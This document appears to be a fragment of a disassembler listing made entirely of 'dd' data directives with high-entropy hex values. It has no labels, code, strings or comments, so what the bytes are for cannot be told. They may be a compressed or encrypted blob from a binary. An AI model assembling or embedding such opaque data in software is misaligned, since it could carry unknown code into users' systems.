		dd 6B0BA4A8h, 45F52BA1h, 0D5D36D5Dh, 5D5401E1h,	0EDFE607Eh
		dd 3D273B23h, 82C5FA40h, 0FAE60208h, 2F995729h,	628F3AECh
		dd 5185277Eh, 54EB5F54h, 105CAC5Ch, 0B6462EE6h,	6A078800h
		dd 9DDEF77Dh, 0B1915EC0h, 0D5826624h, 0C16DC002h, 1A958013h
		dd 9144F239h, 0D00820E3h, 5E29141Ch, 0A5DB2C3Ah, 1152F2F4h
		dd 8B11335Ah, 4B996BBFh, 16D4B73Ah, 3A52FEE9h, 503009BEh
		dd 745B6761h, 3C4FD28Dh, 2BF4FA44h, 51176802h, 9270C577h
		dd 92524155h, 2E3B6C13h, 7154084h, 0F0A64BA7h, 8421B24Eh
		dd 0AF127328h, 2652400Fh, 9894A065h, 0CCE84B11h, 1409B9AEh
		dd 0C0299A0Eh, 0E2E9D155h, 30934B08h, 7B44B8C4h, 0E47CB336h
		dd 0E8831604h, 48F9B001h, 0C4723500h, 0CBE96A43h, 5811BE1Dh
		dd 0D2BD055Dh, 8ED2CA62h, 3477BD93h, 0C20EB58Bh, 1E771C9Fh
		dd 4FE9186Bh, 3BBA298Fh, 7930519Fh, 39126858h, 91B29A51h
		dd 0F8F37F42h, 17CF73ADh, 588D81D2h, 7CC26F21h,	80E14AB9h
		dd 82063B2Ch, 0AC6B53Ah, 489CA420h, 1D25025Ch, 0E3882310h
		dd 59031993h, 104CA868h, 2F9B6BD5h, 26627C5Ah, 9DD512F6h
		dd 5AD5FAE1h, 0A8E92711h, 1676B168h, 0D5A037B9h, 106E9F01h
		dd 0D0A5E931h, 1324A26Bh, 2029E675h, 0D03B32EDh, 254E05B0h
		dd 0A43A7B3Dh, 5A925A35h, 0C6CD1F04h, 2DA8A7BEh, 0B367802h
		dd 21D335D1h, 3F13E482h, 0F6294429h, 5EA45F11h,	181CC613h
		dd 0F6480C59h, 60CE2700h, 6449E963h, 0C3D3CDC3h, 0E5776999h
		dd 9F31124Eh, 518F8F97h, 0EB4705E7h, 0F096BF26h, 0B6120C10h
		dd 0AAC0FEh, 3058C636h,	0FAE65AF7h, 0F2805B0Bh,	0AE78897Bh
		dd 870AA514h, 605AE5ABh, 10D3BF69h, 0AE97DEBDh,	887D1403h
		dd 815BB3FAh, 0A32A5AD3h, 0D1A25A35h, 6706D9C0h, 0E9275738h
		dd 22D4C882h, 0B268A865h, 3F0EB561h, 5966EF00h,	0E931F830h
		dd 0D3019993h, 4396C30h, 68037351h, 0C859F498h,	4A214Dh
		dd 82355DE8h, 58472B38h, 3C151950h, 4302A1A0h, 5A41301Bh
		dd 0F8C46855h, 7BDE2DBFh, 0CAFD8709h, 0C2637C23h, 0A751455Fh
		dd 0EAD39E42h, 0D5FA5743h, 5FAF6465h, 6EDF38EBh, 0D6BD1370h
		dd 54F2DBE2h, 7F390441h, 12C5BE20h, 0AA7B5A41h,	5808A810h
		dd 2AFF12CBh, 5C93C14h,	1727406Fh, 552995A1h, 39A0962Dh
		dd 0E722A3F2h, 0EDE1E4A3h, 563BEEFh, 4CAD4AFAh,	0C2C9E0BFh
		dd 0D9A0097Ah, 0D9B5119Eh, 3A6A02D1h, 60E1982Fh, 0CED83BBFh
		dd 48AA5E29h, 6612ECF5h, 93E90DC4h, 0F8C7D296h,	5C9F00D0h
		dd 0C25F5A02h, 0E25157FDh, 2E6E130Bh, 517BA243h, 0CD89FD6Fh
		dd 292D8301h, 14EC900Dh, 4E35BA54h, 0CF0AB91Ah,	0C0D189D0h
		dd 758059A4h, 70F3E6C3h, 5BD8029Fh, 0F657B551h,	28A91760h
		dd 0C1DE019Ah, 77882F49h, 2722C1C4h, 44C51DA2h,	0AC7DD266h
		dd 0B24D02EEh, 5EF0E93Eh, 56500B9Bh, 0A61FC855h, 4AF6B5FAh
		dd 71CA87C2h, 0ACE4624Ah, 145A5006h, 0F8347AF4h, 7F3CEA1Ch
		dd 0AA009DF1h, 0F410E125h, 20E90215h, 88680BC6h, 62DED679h
		dd 9CF58590h, 3A0AA1C1h, 99F9126Ah, 75E06238h, 1BAB040h
		dd 108E291Dh, 20D2F742h, 0D60BE544h, 0DE31EF71h, 45ED1F84h
		dd 16AAC1Ch, 0D0449A8Eh, 55F57E7Ch, 811C0806h, 23285A14h
		dd 0FBF7AED2h, 0A7CA598Ah, 0B2513D48h, 740A295h, 5963A5A1h
		dd 7C6AAF82h, 2FBE024Fh, 0CE8E2517h, 9699A152h,	0D52E8FAh
		dd 0C496E3AEh, 0BA12F2AAh, 27F3C740h, 97400543h, 1F334042h
		dd 7ACABBD9h, 0EC4A12B7h, 0D10A1082h, 78355A3Bh, 5804AE59h
		dd 0F2FBF1FDh, 6F88187Ch, 7CFCC68Dh, 0B9625A27h, 7B08416Bh
		dd 0E90915A6h, 0AE7A990Ch, 80816D90h, 687F7417h, 6FE19D7Ch
		dd 0ECD6A1A3h, 5795B18Ah, 468F417Bh, 0EC61774Eh, 0B48037FAh
		dd 5AE3E040h, 9C9DF058h, 6241D74Ah, 0B54BF5C6h,	9BD55F4h
		dd 3D3375A9h, 303AEAFCh, 52C3DBAFh, 6B212406h, 899A12B1h
		dd 4DE16AA6h, 630A7C40h, 1C81E448h, 924473E2h, 607EF83Fh
		dd 4A785612h, 2A0CC039h, 0E90A7537h, 42FAE755h,	0E3C1FAF0h
		dd 1A822B74h, 0E1C6F15Ch, 2A1D1BE9h, 47C10F34h,	0DA2FD828h
		dd 3CE14A6Ah, 489D8B6Eh, 4A78208Bh, 5E76BD2Dh, 207EB20Bh
		dd 0BEF681B1h, 3F5B0960h, 203F789h, 0A74F122Bh,	38B821AAh
		dd 0C8280183h, 0B4CE13F3h, 8466B2C5h, 9CD8BECFh, 4FAB690Bh
		dd 68848FD9h, 0DD8576Eh, 0FEDB4EF7h, 86F67F31h,	371ACC2Fh
		dd 5EBD4D70h, 5BF25389h, 0D278856Ah, 15D8C40Bh,	145F405h
		dd 122B26Dh, 111531F7h,	7A5BDF08h, 8ACEDA94h, 0BD13E04Ch
		dd 9199EA82h, 0C5EBDF00h, 48011723h, 4BDED89h, 0E3167ABh
		dd 403F3AB0h, 73B55D95h, 65DDCB88h, 5CAF2727h, 790E4B81h
		dd 4402A846h, 0E613736Ch, 11650947h, 6D5C296Eh,	0E9180820h
		dd 52B6C357h, 0CEB40050h, 0E23010B2h, 0D20BF658h, 8436CA80h
		dd 2D0B464Eh, 581C376h,	7FA5334Ch, 0F17252FDh, 52C9F51Fh
		dd 7D6A05E3h, 8339EE62h, 0B36AFBF9h, 0EF38785Eh, 71BB5E1Eh
		dd 30455D2Bh, 3C1308C3h, 18BF7C19h, 0CCF51435h,	6020BE16h
		dd 0A932D4EBh, 84B102BCh, 5FCBB753h, 0F455DE62h, 0D0FC5001h
		dd 81FF77B2h, 9472C184h, 0F1E15957h, 4A30744h, 7EC02D02h
		dd 8F52F1Ah, 6A2407FAh,	6A9CD72Dh, 2581B320h, 9DC53158h
		dd 1E1F8049h, 987E5308h, 45D741B7h, 7D5EEA07h, 0C82A1DC9h
		dd 822FF650h, 1CC15680h, 810271F4h, 1B15C8E3h, 8FDE576Ah
		dd 4D0C759Eh, 0B5041232h, 280F8A5Ch, 29F1A21Dh,	0B4C5C1D9h
		dd 0C9F53101h, 680884EEh, 37C86FC1h, 0BC2C802Bh, 0E540DEEh
		dd 6616EED9h, 110B1DA3h, 6BD5A832h, 27113EC0h, 5BAEA040h
		dd 2896066Fh, 2217BAE9h, 1F260D00h, 3635657Fh, 3F9A3F25h
		dd 9D2B3196h, 326C40AAh, 15B60946h, 5D3E7E00h, 0B8E78148h
		dd 7B372F0Dh, 0C3252AFCh, 1DC7E0D0h, 2361246Fh,	654C8EF1h
		dd 60BC4AF2h, 0AC5892A6h, 0D3F04E53h, 90DD959Dh, 0A86DBCE2h
		dd 9780CD80h, 68419C5Eh, 8C3A41A0h, 5A3DB466h, 5D486428h
		dd 9270AA8h, 0F60112D6h, 67C06E73h, 0D6E26FF8h,	4116034Ah
		dd 0C199535Bh, 0F1D640E1h, 587A40CAh, 4E685058h, 68DB40E4h
		dd 3EDE0643h, 5B05252Fh, 9AF6FF5Dh, 446E5617h, 0B748CC91h
		dd 37984A07h, 66BA32EBh, 0B6E9EC68h, 90E76D68h,	7F0516EAh
		dd 0C8DE50ADh, 0CF2855B2h, 8CB18F4Ah, 4430D93Ah, 5EE5D2EBh
		dd 49C79990h, 0C095F783h, 2A90A6FAh, 749FF922h,	53607267h
		dd 269FDC09h, 0F6A75D82h, 17ED6769h, 0B7EB7FC7h, 0A97566EAh
		dd 94C38B9Bh, 955A4FB1h, 0A244EB41h, 0A444467Bh, 0A4C9FC72h
		dd 7F3782h, 0FB4FA7BEh,	4C947958h, 0BA2D87h, 0A6C981E5h
		dd 81BF900Ch, 46B02ECh,	889F43h, 7566912Dh, 82259A74h
		dd 4B04D707h, 994E446Fh, 0C8B9B800h, 2926E670h,	7EAF25C2h
		dd 7F5BE0C4h, 0B5803352h, 1CCC2760h, 0C00E8753h, 0E93D2148h
		dd 0BE36805Ch, 5CECF112h, 7F2A4147h, 78CA2914h,	3C95B17Ch
		dd 2D4D02Eh, 37F1695Fh,	0A1E90B67h, 93EFB41h, 0F9F43FDAh
		dd 5F796AC2h, 0A2FCD118h, 3009D397h, 4035FFC8h,	0CD01021Eh
		dd 6208ED14h, 78D3E959h, 0F75B0B74h, 950F42DAh,	92071AEh
		dd 10F0B850h, 0CF1EA23Bh, 474FD404h, 7E2ADDBBh,	0C6C33EADh
		dd 2A8114B3h, 96C2DA01h, 9544080Ch, 0F3D76241h,	687E097Eh
		dd 31550579h, 0BC23020Fh, 0AFE95709h, 0BF5908C0h, 1BAA6109h
		dd 0C9810496h, 0E3BE5600h
		dd 24260639h, 4B006B4Eh, 4F053F50h, 6DCF0581h, 0FE623728h
		dd 0F84887F5h, 7D1126E9h, 0C0FE5092h, 0EFC1D098h, 0F0F8840Fh
		dd 28773389h, 0DEAE2DA2h, 4FB6BE00h, 0B8274AD7h, 7C0C4C3Dh
		dd 43714A7Ah, 92CF197h,	0F7448B88h, 51163CB1h, 4E96DFFEh
		dd 0E068CA40h, 986B1277h, 0C993262Bh, 63FC41E9h, 0E2D4603Fh
		dd 780A8E09h, 8154DC3Ah, 51FF3C2h, 8DA46AFCh, 0EBAE4B16h
		dd 5E8D0423h, 40C59BEBh, 179297FFh, 0C3259993h,	7DA7C223h
		dd 0D3F771E2h, 0B0E82A8Ah, 0FE560E29h, 5C4180C1h, 6EBBB252h
		dd 494FEDA9h, 69A0A974h, 33103CE3h, 490430EAh, 0F829733Dh
		dd 0BC545FC1h, 0C9E5AD9Dh, 8B48672Dh, 7280B0Dh,	8A5B8D5Fh
		dd 0CDDE43E9h, 61167D8Eh, 4D012B51h, 0CD3FAB4h,	2E3F9240h
		dd 0E9611212h, 0EDE2AEF7h, 6FE7681Fh, 928900D9h, 118551Ch
		dd 0D9B1D2DCh, 0DADA6B4Fh, 0D1C701B6h, 5958D019h, 3760DE01h
		dd 2E2E23DCh, 0C501C440h, 74C64977h, 92FCA70h, 555FD826h
		dd 0F7CE1C11h, 52AC4A1Dh, 1A47EBC9h, 0EABE578Eh, 0E64FEA25h
		dd 3E04BCD3h, 0B9364816h, 0EBD5D331h, 0E33E1BC3h, 0C5424B71h
		dd 0E1E2BE40h, 857CF9A4h, 0B85DA80Ah, 0B4C08592h, 2568F1F7h
		dd 4799173Eh, 1585D6DBh, 8B8B93A7h, 0EB8EFFF4h,	3D6768C2h
		dd 352E2B91h, 1ECA6B0Fh, 2721236Ah, 0E1985FA4h,	86A83B94h
		dd 0AAE72A17h, 0C95BF4CBh, 0B15830CCh, 0E2CDC75Fh, 40CABB13h
		dd 41F4D87Bh, 0C9C06E80h, 0BF2814Ah, 0D36F01F6h, 8B0B440Bh
		dd 0EC401542h, 8A9AA396h, 595F5B27h, 0E9D8C13Ch, 7E9E357Ch
		dd 0EDD602F3h, 706C185Fh, 4D82910h, 4069052Dh, 9FA4AB6Ah
		dd 0B361C766h, 8BD80777h, 18BF1CFDh, 73FD4AE9h,	2D18B3F7h
		dd 690C654Bh, 0EBE25876h, 48BF5E10h, 0A7C701BAh, 31F44889h
		dd 59430A3Eh, 9579384h,	26AB6E9Eh, 0BBFA42CCh, 0B50558BAh
		dd 5D15C34Ch, 4FF8A3CCh, 68648C72h, 965BA240h, 71FD5290h
		dd 2C21277Ch, 93F5EEE9h, 3CE10176h, 5DAC4F2Fh, 57E9F722h
		dd 0DF620957h, 0A98F01Eh, 0A6432748h, 0D76855D0h, 4882E27Bh
		dd 183A2F24h, 40886D7Bh, 6658C5D0h, 0AD201286h,	20E789EBh
		dd 0B316F293h, 220380EAh, 381FB450h, 0E33D520Ch, 58B0C3BAh
		dd 0E0E9C812h, 0DCE30148h, 0DD2AFA3Fh, 0CC9D8B2Bh, 0EA545BBAh
		dd 17848467h, 4BE08FBFh, 0F38E44FBh, 5BE4597Ah,	9FC0D728h
		dd 2117A05Dh, 2583CD5Ch, 0A2084833h, 0CBDBCFAAh, 4E5F1AABh
		dd 0FE8B207Bh, 0EC5A6662h, 577463Ah, 0EFC035B7h, 97810004h
		dd 8FBC480h, 48A8E75Bh,	0D8DD7422h, 0D8F68AC2h,	7184DD86h
		dd 84F3F2AFh, 8CBAA869h, 326AB05h, 4D126FCAh, 0CA4A3EA8h
		dd 76607E2Fh, 416856FBh, 0B029B79h, 0D2B99C5Ch,	0A5106F4Dh
		dd 0D9FBA5B7h, 765FF5EDh, 619A1575h, 0B551027Ch, 5E13E9AEh
		dd 0D2BE01E5h, 28681125h, 9B465090h, 20B25B13h,	0BA6C16AFh
		dd 7C60BDC9h, 307602B1h, 8822E93Bh, 8F2D3BDAh, 45EA2005h
		dd 47FDD18h, 0AF751735h, 0D8C7FE16h, 97F75009h,	0BDF69655h
		dd 0F71668FCh, 5712AA72h, 0B0629FDCh, 827662E8h, 57C83070h
		dd 9434DB4Ch, 87FE95CDh, 0C929BB17h, 9D6D82DDh,	8C91D41Ch
		dd 880CB169h, 92CAF44Eh, 62E3281Ah, 189D11DEh, 6DF05EE5h
		dd 1CF784Ch, 5646D6F7h,	0E87B5E51h, 0ADE9E1A0h,	0C32E4ECBh
		dd 0A5CF018Dh, 492D587h, 6E8A367h, 90D3FA31h, 0C5604A69h
		dd 0DFC70FADh, 0D4BCBE05h, 646B9C90h, 0EE40944Fh, 6B394754h
		dd 0D664C589h, 5210AC8h, 0AAD917A7h, 0D760D499h, 0FB0180CEh
		dd 0D9937FDEh, 0E23F07E1h, 0DF290A91h, 6D42B55Bh, 0B70109A9h
		dd 0F36F7FB8h, 0E0DEBF90h, 1C0F412h, 82B447EBh,	0C74465Ch
		dd 0C66F1102h, 81F78710h, 3244E99Dh, 37506B23h,	6D490072h
		dd 19C3B80Ah, 80B71C58h, 24DE259Dh, 77EC476h, 3C20ABB0h
		dd 3C71202Dh, 0C128B2A9h, 22F5E61h, 55D5ADCh, 0E1DD6BF7h
		dd 0DB828D17h, 37FE14BEh, 79BF58E0h, 429E599Fh,	10D4B961h
		dd 0E67ADD80h, 65D1F75Dh, 0C0410649h, 2BB039F2h, 2C20B658h
		dd 5D89AE9Ch, 0F1D63326h, 407B9A29h, 4CAB57BBh,	92A3311Dh
		dd 0CA0C54Ch, 389084E9h, 2A4F2768h, 6B8948D9h, 59EC3072h
		dd 441E3A32h, 1CC8365Ah, 96838FBh, 0D541BAE9h, 8E58FF33h
		dd 0BFB21082h, 1A314A2Eh, 5550C1Fh, 0E5F86444h,	5A9E093Bh
		dd 0AD1E4E4Eh, 0E35F131Ch, 0E601C946h, 0CA28622Ah, 1A5D196Ah
		dd 9AF44152h, 9EDFBD3Ah, 0FEA41BC9h, 0B344CF0Dh, 20F3FB7Fh
		dd 1121C42Fh, 0CC08CF80h, 67B092C7h, 59F27370h,	862B40BFh
		dd 0D3F630DDh, 0DAA6808h, 414153CDh, 3FEF6120h,	0C2E0FD48h
		dd 795D3F6Fh, 0AABE4D50h, 4FB2FC95h, 0ED57C82Fh, 8B552D44h
		dd 0F9AF6B42h, 8C502810h, 3DE2E405h, 63AD93ECh,	0CA05585Ah
		dd 138F1234h, 9881C9C4h, 0F13BF332h, 0BF69546Fh, 0E912B2E3h
		dd 5B3FB828h, 500106F6h, 0C68896B0h, 4F166E58h,	739B0804h
		dd 0F2DE5D0Bh, 9352A59h, 0F87F1421h, 8E3AA9F7h,	0B5624A5Eh
		dd 0BA0B5F08h, 2FCAEEDFh, 12908B9Ah, 4B5C4A68h,	2153CF4Ch
		dd 4EC04F8Fh, 0AB8B3Ah,	0E15F08CBh, 95CEE90Bh, 0F6C3F972h
		dd 0ACC5684Bh, 71B17C8Ch, 26FB9928h, 0B7A415AFh, 0FA3DC703h
		dd 73D990C9h, 4B9E6227h, 8809B095h, 0BD6AA0BEh,	4F2A3BCDh
		dd 80198532h, 0B9A97DC7h, 0C92695Eh, 559E4A84h,	24D2A9F6h
		dd 0ACAEABB6h, 7E83518Ch, 88B1CBFCh, 400E05B7h,	7C7969E2h
		dd 275302F3h, 0D85EFD85h, 27CCF627h, 8F406A0Eh,	5878F430h
		dd 423379BDh, 2CF0EEE9h, 0C5255D76h, 885C1847h,	815C81BFh
		dd 3E0C7E3Ah, 5ADE4229h, 963B27F9h, 2F3886E5h, 4521F1AFh
		dd 0F912BF2Ch, 0EFA334F9h, 16438EE4h, 64EEAB79h, 359DE023h
		dd 1B1C5C2Eh, 7D4B7A2Ch, 6B589641h, 40F1A1ACh, 0C18000A6h
		dd 73FFB27Ch, 9D82BD59h, 68014C69h, 0D1927EC4h,	0BC25BF37h
		dd 0F8FC52EAh, 8B2C84C2h, 0EB980212h, 58DE4303h, 8E3A178Bh
		dd 0C7F3C0CAh, 4E8852FBh, 0CD4AE009h, 59343E0Bh, 0B150044h
		dd 0B5CBCEECh, 18E93081h, 0B6C82B6Eh, 0B7E17C7h, 17381CDAh
		dd 0B380C8FDh, 2ECA3058h, 0B132F3Fh, 7714C8E8h,	0B28FEA8Ch
		dd 68FCDCF2h, 0DD22C131h, 0CA06AFF5h, 0D4F29C4Fh, 52517706h
		dd 960CC83Fh, 0C12763Ch, 5F25FE9Dh, 0BF5FFE75h,	7B6C1482h
		dd 68BF8101h, 433C6022h, 7E6AB498h, 605ACD9Ch, 274D0762h
		dd 0C7C2A06h, 14492D0Ch, 0E6350758h, 5078D97Eh,	26B15542h
		dd 39E3D49Fh, 0EB01C987h, 0E4EA6030h, 3A5E3670h, 589C18A4h
		dd 6809F626h, 3667E1Bh,	712F6AFEh, 0ACCFC003h, 9D962445h
		dd 0AAD6257Ch, 0A72F5C49h, 7B119BC9h, 0F6BE2F12h, 0EAE897B9h
		dd 62B6E9A1h, 5584445Ch, 0A15185A0h, 0F1820283h, 0B79D078h
		dd 0EDAAC05Dh, 75EDB2FCh, 0A0E2E488h, 0BC60DDCAh, 0B7C58888h
		dd 747D923Dh, 6FEEDE4h,	168AB1Eh, 880D8D9h, 8BE3188h, 2051DA69h
		dd 629D097Ch, 45AA5E32h, 28D3E09Dh, 30271F98h, 1E19D5F0h
		dd 535FD269h, 685802F1h, 67792666h, 6D136B2Eh, 0DE50F249h
		dd 64D5780Fh, 2113C89Bh, 3097D502h, 0C2E27EC1h,	0EF095DE0h
		dd 82B98921h, 0FDF09E64h, 85F8389Ah, 0D5CEFE17h, 8F16D0BCh
		dd 40C58890h, 0D57DCB2Fh, 30087F88h, 1550030Ch,	0E5A1335h
		dd 4B3001B9h, 0B5C3420Eh, 0B7E9D717h, 0B87F69A1h, 2FE95B0Bh
		dd 6D342660h, 0E9101175h, 247DFDDFh, 265508E2h,	80D612BEh
		dd 0E3885BDDh
		dd 2F30F095h, 14FD3069h, 54A0B02Ch, 2EAFA96h, 2C9D715Eh
		dd 7A42CA01h, 691C080Dh, 7FFE4510h, 0EC5E362Eh,	2CA2D0Bh
		dd 0D0EF6812h, 9D39F451h, 0E1352200h, 36039F6Dh, 165240Dh
		dd 0B515F916h, 8B70EC2Fh, 0EA945AEFh, 0B4082CACh, 0F9B509C7h
		dd 51CDB9A2h, 621E4077h, 83D54120h, 0E5C02716h,	5C0C3C02h
		dd 0FFF2F592h, 0E63C7044h, 7A5F5E09h, 46222DB2h, 49943A1Bh
		dd 200B4C55h, 0FBBF21F5h, 249348D8h, 4B3B0B3Eh,	530B9764h
		dd 660EC7E9h, 8BA02DA0h, 0EC53965Fh, 771B01F6h,	0EE87356Ah
		dd 7006A445h, 293FA52Dh, 5FBBBCD0h, 630047Ah, 0BF49A6E9h
		dd 0D802CC49h, 0C92D9163h, 0EBD2A104h, 0E9826CE6h, 0A1760C67h
		dd 0BDBD5570h, 574C46DAh, 2F431843h, 0B0DE8979h, 113F6589h
		dd 1DB99128h, 0E4C92F32h, 95D950E0h, 20B01CF5h,	31257237h
		dd 20114ED7h, 5D5EAEE4h, 512E8DB6h, 8C6100E6h, 0DE05E96Fh
		dd 0E4EBB2B4h, 0B71E25E7h, 163C3671h, 5325A7A1h, 0C5BE94FFh
		dd 0CD92FFA2h, 2682C029h, 1919983h, 0C68AAB68h,	0FACB3A01h
		dd 10F70176h, 8920B85Bh, 0F85544FDh, 0E92B5A7Ah, 51AE95Ah
		dd 68D912A5h, 740BFA8h,	0B93EFD8Bh, 8F8C86A2h, 79ED3D53h
		dd 292E4706h, 880C8FDh,	994D0E9h, 984FB25h, 18ABDAB4h
		dd 60AC5756h, 620C5B0Eh, 70B8AE9h, 833A6780h, 4414E165h
		dd 499FE01h, 70E640FBh,	339750C0h, 291D094Bh, 7DF65BDEh
		dd 1E0A546Bh, 5F4CB223h, 7704C2F5h, 0E57D5DE2h,	0EA666F0Bh
		dd 0EE4EE316h, 0C44B79A9h, 85C4BF4Fh, 5B7600E4h, 0AE53CC79h
		dd 0F09DDB9Ah, 0BFB2C1B1h, 74203844h, 2101CBABh, 5643FC3Ch
		dd 9FF3BABEh, 8195380Ch, 3D9D2959h, 17899056h, 0F9726817h
		dd 759010ADh, 8941AB5Bh, 95A4E54h, 8F10253Ch, 4FB41733h
		dd 0DB49EF0Bh, 0E350A679h, 0EB067850h, 22204CEAh, 0D96E6116h
		dd 685E0A68h, 53AED4C9h, 6DB9C0D5h, 0B4566C4Bh,	825889C3h
		dd 3BD01CEBh, 0F9F64007h, 0C2D71B5h, 0EBCF9AE4h, 0D3F7050Ah
		dd 8702EE43h, 508A12EDh, 2C619B4Ah, 0B80519DDh,	0F2EA0443h
		dd 1CE23D71h, 6885070Ah, 5C473499h, 3D702B8h, 75AF29F4h
		dd 51184A7h, 0F250389Dh, 2784124Eh, 29680242h, 1C269120h
		dd 0F8018D82h, 74430FFh, 4175362Ch, 17382782h, 0B29EC16Ch
		dd 949F236Ah, 4B99748h,	48237235h, 0F9082C80h, 5F248A5h
		dd 1248620h, 0EA075DFAh, 0A43F8706h, 0F4FE9C62h, 481FBAF6h
		dd 270A1D75h, 5BC92Ah, 4D6857E2h, 5F697D19h, 86635695h
		dd 0C7E8273h, 0C40B880Bh, 10217798h, 0CD3077CEh, 6E5D6121h
		dd 0AA4BA8ADh, 5D80D48Ah, 47E5E681h, 0D848362Fh, 4DDCC223h
		dd 8B756A6Dh, 6044D9E2h, 0D451A0EAh, 1EA3B5Eh, 61326D7Fh
		dd 7C6E3035h, 86E4702h,	0DC8809E9h, 0AB4965D7h,	0A76059CDh
		dd 0B5969F02h, 0C130D4Bh, 54572FAh, 0E924D4FAh,	93BADC20h
		dd 52906F2Fh, 17E3469Ah, 0BEF83123h, 0AA4B138Ah, 320914D1h
		dd 516EFDC2h, 5F5ADEF8h, 0A488FB6h, 1452F900h, 78E38167h
		dd 2C4D0709h, 1AC4D543h, 309E3B24h, 0E843822Fh,	0B0DF0B9Fh
		dd 0C0DAF928h, 827BD16h, 0BA077099h, 1C6210D8h,	3C9501F5h
		dd 0FB68B280h, 54CCBF29h, 42D083Dh, 6A7BE91Ah, 0B7EEBAD0h
		dd 35CBF32Ch, 81439A76h, 0A5E31D26h, 3622F76Ch,	0BB006E9Bh
		dd 5FE573A4h, 3C2FB44Ch, 5F3A89BFh, 0C96FA8D9h,	0BFB84C6Dh
		dd 56952270h, 76955680h, 198569B3h, 2067BDE4h, 1D860BCBh
		dd 0ED042FD9h, 1088EB7Ch, 273B24F1h, 5AD60BE6h,	0E9BD317Dh
		dd 0B862FFE5h, 5F35BD4Bh, 804FD6B8h, 0C3305BF4h, 39FAAB8h
		dd 0F9EE2CC9h, 0B1BE1E87h, 0DC77B094h, 4099F95Eh, 31275F08h
		dd 8612DDCBh, 67418740h, 3A402233h, 0A80D4A3Dh,	0A594588Eh
		dd 74174401h, 0E27B4B0Fh, 0E9094040h, 50D1FE4Fh, 0A72B3C77h
		dd 0E7B10E6h, 0B6DE93Ah, 0F1ED3E85h, 7C52E9B1h,	6E680BCAh
		dd 429CDB5Eh, 0F87E0CB3h, 0BDCD6878h, 0CAE9A698h, 0F710ADF5h
		dd 0E918919Ch, 35786D70h, 1D8F0059h, 2EC38195h,	764BB56Eh
		dd 8EB530Ah, 38FAE90Eh,	2649B930h, 95C7127h, 0E7F99677h
		dd 0FF02680Bh, 0C775046Ah, 985A13C4h, 0F34EE9ECh, 4F42B6FCh
		dd 0CC23AE5Ah, 0AFA95F1Ch, 0CA73641h, 0D7E62F74h, 550493CCh
		dd 9969F6BDh, 3EF7CC5h,	7E3E9B83h, 846C01D1h, 0AFA1E910h
		dd 0BE1DB8E3h, 57178F4Eh, 1C314DC6h, 92425A3Bh,	0A68AF553h
		dd 1509F73Fh, 30805BD4h, 1B9A5556h, 2991E97Bh, 0DD05EB16h
		dd 50FE3645h, 0A260082Eh, 17037940h, 6EDC117h, 389CE401h
		dd 0A53E7668h, 21ADFFF5h, 13064FBh, 98D69168h, 0F69BAAEh
		dd 506C2A7Eh, 8F5283C0h, 5127E971h, 0F943BAB3h,	0E19C6410h
		dd 66FC6BABh, 81B412F1h, 7A05C317h, 5CEDB5E6h, 0F749578h
		dd 0CB576DBAh, 0DF131A9h, 52AC93C4h, 0B286E84Ah, 1D59658Fh
		dd 578ED6E9h, 0E75DEA78h, 43D55465h, 91765FE6h,	400F1648h
		dd 0E82DC99Fh, 13BF7C1Ch, 0FADE52FBh, 5E7B41B2h, 1A75EB39h
		dd 0D74EF884h, 7995C652h, 52534F0Ch, 0CAB41511h, 0F333E217h
		dd 189F09F2h, 0CFBE82CEh, 61A1900Ah, 22B02638h,	88D02565h
		dd 6240E927h, 0E030D1CAh, 11266851h, 0CB651C9Ch, 0F84B1BFCh
		dd 0A83EB941h, 0E87CB182h, 39DE0101h, 302C10B7h, 0C0A62063h
		dd 2324DD77h, 3608C20Dh, 0B8073BE1h, 0C0721B56h, 9D2AD52Dh
		dd 0D8F77700h, 0D4F08505h, 96A6CB95h, 9D56A75Ch, 556975FCh
		dd 0FC2D21F3h, 67DBF26Fh, 903A5F0Bh, 2C1DCFE6h,	25D1806h
		dd 0D3722587h, 659E8F80h, 29245FCBh, 82012F1h, 52777497h
		dd 6CFE3861h, 63B50168h, 0C059EE20h, 0BF1DE06Ah, 42C97E4Bh
		dd 1303CE7Fh, 93EA6AD1h, 0F02CAC4h, 0AA4335BEh,	1DFB601Ah
		dd 6B087D14h, 12F6AC4Eh, 2561E6Ch, 0E984B257h, 31029841h
		dd 37B4C9C8h, 1C5A7A74h, 6EB25250h, 0A2AC0B0Dh,	86B9AF93h
		dd 0C19528ABh, 75A55EEh, 0E972812Eh, 7FB96E21h,	0D45B900h
		dd 0F18128D7h, 0E90D4162h, 8389F7C2h, 0C2D6595Fh, 4D751E4Dh
		dd 0F1D62D4Dh, 0EE13CAC4h, 0A5BB2772h, 9CBFDA11h, 4BBF17B2h
		dd 88C6B1C2h, 8B53FC3Eh, 626FD8B6h, 313FFC55h, 59E9EF76h
		dd 221A82Ah, 66250CD6h,	6662F701h, 805E0804h, 413ED46Ch
		dd 0B8363D6Fh, 0E345E90Dh, 8527743Eh, 30A3AEA9h, 0D2ACB34Bh
		dd 1B516FCh, 380DE63Eh,	0B40CA81Dh, 127690Bh, 0D60000C1h
		dd 1611E156h, 0EE4DD5F7h, 0B54C6302h, 611257C6h, 5A5D200Ah
		dd 0D7DF62FDh, 0AF3DCE65h, 9835F4Fh, 0C9C502E7h, 0B5252243h
		dd 2E98C84h, 3AB7C901h,	0F2C10239h, 834398C0h, 534083B1h
		dd 6F94BA52h, 0E2A0F801h, 365C30BBh, 1602F2ECh,	0F7625020h
		dd 2EE0DDDAh, 0AD5422E9h, 37368B4h, 0FE83BE1h, 9F4881E4h
		dd 0FD0101D9h, 0A2B18293h, 0C44D1407h, 4FF4F83h, 9D2C87D2h
		dd 0F04C473Ah, 5603A845h, 542FE917h, 838935F8h,	0C0B7F950h
		dd 97668CCEh, 783CBB1h,	0BF2DE785h, 0E07AEC2Eh,	9D6D84E9h
		dd 0A68BA6D9h, 9F286486h, 95BE3B5Eh, 3A8CF0Fh, 0C0225AEFh
		dd 0A20C092Ah, 3480F011h, 10278F7h, 0C6B2048h, 0C886F9B8h
		dd 0AE855AE5h, 9504C024h, 0EDFC6443h, 2D5F8F96h, 75C22230h
		dd 635A0768h, 3C2B15DFh, 5C8A1C5Fh, 5B111A29h, 0D24CAC5Fh
		dd 0C55A2FCAh, 0A484E8BEh, 75DB8F82h, 54926FF1h, 0C78072AFh
		dd 97E3E910h, 0ECDD690Bh, 34F99575h, 0F16F331Eh, 9855CBC8h
		dd 4F496849h, 0AAA0CC27h
		dd 78E47353h, 6B3FF4A3h, 0D67F98E0h, 72AEBB0Eh,	0D00A5A2Dh
		dd 2F61A305h, 0DE31D212h, 0D51677BCh, 3225211Fh, 0F454039Bh
